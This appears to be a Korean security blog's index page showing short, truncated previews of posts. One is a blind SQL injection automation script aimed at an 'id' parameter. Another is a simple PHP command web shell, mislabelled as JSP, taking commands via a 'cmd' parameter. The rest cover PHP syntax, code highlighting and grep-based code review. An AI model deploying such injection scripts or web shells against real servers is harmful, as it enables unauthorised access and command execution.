[웹 취약점] blind sql 인젝션 자동화 스크립트

#!/usr/bin/python import urllib, urllib2 import sys # Connect URL def urlcon(query): method = "id=" + urllib.quote(query) # url encode #method += "&" #method += "pw=asd" url = urllib2.Request('http://testsite.com/cat.php?' + method) s = urllib2.urlopen(url) result...

Continue reading

php :: (스코프 해결 연산자)

php 소스코드를 보면 :: 문자열을 볼 수 있다. 이는 static 이나 constant 와 클래스의 재정의된 프로퍼티나 메서드에 접근할 수 있도록 해주는 토큰이다. class MyClass { const CONST_VALUE = 'A constant value'; } $classname = 'MyClass'; echo $classname::CONST_VALUE; // As of PHP 5.3.0 echo MyClass::CONST_VALUE; 위와 같이 클래스 정의의 외부에서 이 항목들을 참조 할 때, 클래스의 이름을 사용한...

Continue reading

[blogger] 구글 블로거에 소소코드 하이라이트 표시하기

<pre><code class="html"> ... </code></pre><pre><code class="language-html"> </code></pre> <pre><code class="language-php"> </code></pre>...

Continue reading

[웹취약점] 소스코드 취약점 점검

소스코드 취약점 점검 관련 간단히 메모 1. 윈도우 일 경우, AstroGrep, Brackets, Everything 2. 유닉스 일 경우는 그저 find, grep,vi 로 다 해결된다. ** grep 명령어 예시 grep -H id /var/www/*  -> /var/www/ 의 모든 폴더에서 'id' 라는 문자열을 포함하고 있는 모든 파일을 리스트업 grep -iH id /var/www/*  -> i 를 붙임으로서 대소문자 구별 안함 grep -riH select /var/www -->...

Continue reading

간단 웹쉘 jsp

/* PHP Version URL CMD WebShell           *//* 사용법 : hxxp://URL/cmd.php?cmd=명령어 */<?        echo "                <FORM ACTION=$PHP_SELF METHOD=POST>               ...

Continue reading